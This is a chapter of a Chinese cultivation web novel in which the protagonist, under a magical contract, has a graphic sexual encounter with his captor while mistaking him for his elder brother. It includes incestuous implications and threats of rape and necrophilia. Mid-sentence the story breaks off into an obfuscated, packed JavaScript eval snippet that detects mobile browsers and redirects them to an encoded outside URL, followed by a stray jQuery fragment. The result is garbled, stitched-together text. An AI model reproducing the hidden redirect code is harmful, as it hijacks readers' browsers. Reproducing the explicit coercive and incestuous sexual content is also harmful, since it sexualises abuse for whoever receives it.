10.第十章

作品:《反派但万人迷

    长发又长长了些,愈发柔顺,单薄的月白衣裳被丰盈撑起,让玉幸仪有些呼吸困难,他的身形曲线越发窈窕有致,在寒凉月光下如同一尊玉女像。


    寒风吹拂花瑟瑟,清露凝枝蕊渐凉。


    玉幸仪感知到异样,当即就暗叫不好。


    十五时他对那事儿的需求要比平时多上千倍万倍,不然玉幸仪也不至于给自己结炉鼎契。


    玉幸仪这会儿哪儿压得住那炉鼎契,只觉得浑身有蛇虫在爬,难受得快要死掉了。


    他下意识去看谢寒声,好在对方没有看他。


    但他殊不知,一举一动皆被看得真切。


    谢寒声疑惑玉幸仪的变化,却没有贸然询问。


    玉幸仪这才召唤出影身,将意识均分给本体和影身,就那么当着谢寒声的面搂在了一起。


    谢寒声睁眼,看着两具美丽的身/躯交缠,一时心乱如麻,连忙念了好几个清心咒压下去。


    他哪儿见过这种场面。


    明明只是抱在一起贴贴,就觉得涩得没边了。


    谢寒声看开心了,玉幸仪却是想死了。


    不仅没了原来的炉鼎契,还被新的炉鼎契制裁了亲密,本体跟影子累得快晕了都没有办法满足。


    面对面掉眼泪,你也委屈,我也委屈。


    俩娇滴滴的小废物根本不能互相满足。


    玉幸仪死了心,收回了影子。


    经过方才一番苦战,长发早已经汗湿,在身下如云一般铺开,衣裳凌乱不堪,早已失去了它存在的价值,脸颊粉扑扑的,唇微张着喘息,眼眸氤氲一片,毫无形象地侧身躺在石台上,神态柔弱,眼尾嫣红,看着跟让人压着狠狠收拾了一顿似的。


    谢寒声真的很想收拾他了。


    视线模糊间,玉幸仪好像看见了大哥。


    大哥一如既往的俊美无匹,正半蹲着看他。


    他有些头晕,大哥的身影也跟着晃。


    久远的被调教的记忆被唤醒,玉幸仪条件反射地给大哥看那朵急需疗愈的花,明明讨厌大哥,但身体已经没骨气地屈从了,他知道大哥喜欢看的。


    之前发脾气不愿意给大哥看,结果被大哥晾着花,拿毛笔一点点勾勒描绘,最后花啪嗒压在了宣纸上,印了一副水波粼粼生机勃勃的无色香花图。


    但大哥为什么用震惊的表情看他。


    大哥应该夸他乖,再俯身亲亲他。


    把他从该死的炉鼎契里解脱出来。


    讨厌大哥,但,相比之下没那么讨厌。


    只要大哥能救救他,别让他受这种折磨。


    那他可以短暂原谅一下大哥。


    谢寒声屈指刮了一把沾露的花,给玉幸仪看他手指上的晶莹:“这便是你说的,无欲无求?”


    “唔!”


    玉幸仪双眼已经失神,下意识去追逐谢寒声的手,腰如水蛇一般,哪儿像个男人能长出来的。


    “吃吃妹妹。”他泪眼朦胧地说。


    换平常大哥已经不管不顾地吃上了。


    还是又想玩什么花样。


    谢寒声卡顿了一下才反应过来玉幸仪说的是什么意思,一时间耳廓都红透了,只想把玉幸仪给欺负到死:“什么妹妹,小骗子,这是你的小*。”


    玉幸仪被折磨得厉害,眼泪掉得停不下来,可怜地央求着他眼中的大哥:“吃吃我的小*。”


    从玉幸仪嘴里听到这话的谢寒声简直要疯了。


    恨不得把玉幸仪给弄死。


    “你自找的。”


    他俯身,如玉幸仪所愿,重重吻了上去。


    *


    谢寒声从未想过,自己会像今日一般,整张脸埋在玉幸仪的*里,像个急色的牲口一般。


    一遍遍地品尝他花瓣般甜蜜的唇。


    后来甚至举起玉幸仪,悬空着亲吻两片嫩唇。


    这般甜美多汁,生来就是要给人吃的。


    他恨不得就那么死在玉幸仪漂亮的*上。


    而玉幸仪呜呜噫噫,小妹妹也哭个不停。


    谢寒声将玉幸仪的一口粉唇吃得熟透红肿,水光淋漓,才将玉幸仪抱起,重新放到腿上,迷乱的玉幸仪十分熟练地搂着他的脖子,自给自足起来。


    谢寒声饶是再清心寡欲也受不得这个。


    “想破我的纯阳之身?呵呵,你休想。”


    话是这么说,却没有半分拒绝的意思,额角青筋暴起,耐心配合着让玉幸仪磨得更尽兴。


    玉幸仪无意识地撒娇:“还要,喜欢……”


    “给你就是了,这么磨人。”


    谢寒声怜爱地亲吻玉幸仪的唇角,大手安抚着玉幸仪的后脑,那一刻,突然觉得无比的满足。


    玉幸仪在渴求他,是否并不讨厌他?


    若是他好好认错,是否有机会冰释前嫌?


    他们间的仇怨并没有大到不能收场的地步。


    玉幸仪表现出的依恋让他上头,一时间,脑中竟浮现出与玉幸仪结成道侣,携游世间的景象。


    他抬起玉幸仪的下巴,想再好好亲亲,得了趣的玉幸仪却是朦胧着眼,主动攀着肩膀亲上了他的薄唇:“唔,喜欢被大哥这么弄,大哥好会弄我。”


    “大哥?”


    谢寒声的面色冷下来,刚温热的心瞬间就凉透了,他掐着玉幸仪的下巴:“你把我当成谁了?”


    玉幸仪却凑过去,又亲亲他:“是大哥呀,小仪永远是大哥的炉鼎,大哥想怎么样都可以。”


    只要他说这种话,大哥就会很开心。


    然后也让他开心。


    他等待着大哥的奖励,殊不知根本不是大哥。


    谢寒声掐着玉幸仪的腰提起来,一巴掌就拍在了花朵上,瞬间露水乱溅,花枝乱颤,玉幸仪像被电打了似的哭叫一声,睁大了眼,慢慢回神过来。


    “你好好看看我是谁。”


    谢寒声掐着玉幸仪的后颈,漆黑幽深的瞳仁里倒映出玉


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15945333|176204||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    幸仪慌乱惊恐不知所措的神情。


    恐怖的气压笼罩着玉幸仪的全身,明明掐的是后颈,他却觉得像被扼住脖子似的无法呼吸了。


    “怎么是你!”


    “是我,让你失望了是么。”


    玉幸仪清醒了不少,一想到在此人面前做了那种事就难堪得不行:“我刚刚不清醒,认错人了。”


    “既然现在清醒了,那便继续吧。”


    谢寒声直接就去吻玉幸仪的唇,被玉幸仪偏头躲开:“我不清醒,你还不清醒吗,滚开!”


    “不然,我便自裁,你也不得好死!”


    谢寒声一双眸子冷如寒冰,拇指指腹狠狠碾着玉幸仪的唇:“好啊,你自裁吧,你死了,我也是一样的用,你就在地下看着,我怎么日日*你的。”


    玉幸仪头次听得这般变态的话,浑身都产生一股阴凉的寒意,好像阴间的风都从地下吹过来拂他脸上了,他毫不怀疑对方真有这种*尸的癖好。


    “你要是不敢自裁,我可以帮你一把。”


    “不……”


    玉幸仪还不想死,也不想死得那么凄惨,求生的本能驱使他开口:“不要这样,我错了,师尊。”


    他说着竟还掉了眼泪,仿佛真在诚心认错,晶莹的眼泪沾湿了漂亮的泪痣,顺着漂亮的脸颊和尖尖的下巴滑落至颈间,眼睫挂着细碎的泪珠,那楚楚可怜的模样,活像个被人强要了的清纯弱女子。


    若不是谢寒声被他坑过一次,怎么知道这样一张无害的脸下,是怎样一具恶劣阴损的灵魂。


    可是,玉幸仪的恶劣阴损,亦让他念念不忘。


    “仙尊,有人想见您,说是少宗主的兄长。”


    裘天的声音响起,谢寒声目光冷冽:“把我当成他了是么?兄弟□□,你好大的本事。”


    玉幸仪解释:“那是我三哥,不是大哥。”


    “谁知道你有没有给你的二哥、三哥玩。”


    “你!”玉幸仪气得不行:“自然没有。”


    殊不知,其实是有的。


    谢寒声冷哼一声:“传音给他,让他滚。”


    传音玉简就在一旁,玉幸仪的任何声音都会通过它传递给萧飒。


    玉幸仪咬唇,他不能向三哥求救,按照三哥的脾性,肯定会冲动地进来救他,而三哥,根本不是这男人的对手,除非他自裁,否则三哥必死无疑。


    他淡淡道:“三哥,你回去吧,我——”


    玉幸仪话到一半,便止住了。


    “我没事……一切都好……过几天,我便回家看你,不要担心……嗯……”


    玉幸仪死死压着声,才平静念完这几句话。


    若是过几天他没有回去,三哥肯定知道他出事了,有二哥在,三哥不会鲁莽,一切就还有救。


    萧飒听完妹妹的话才安下心来,放心离开。


    可他哪里知道,他视若珍宝的妹妹,已成了他人的炉鼎,正隔着一道门,被人尝花吮露。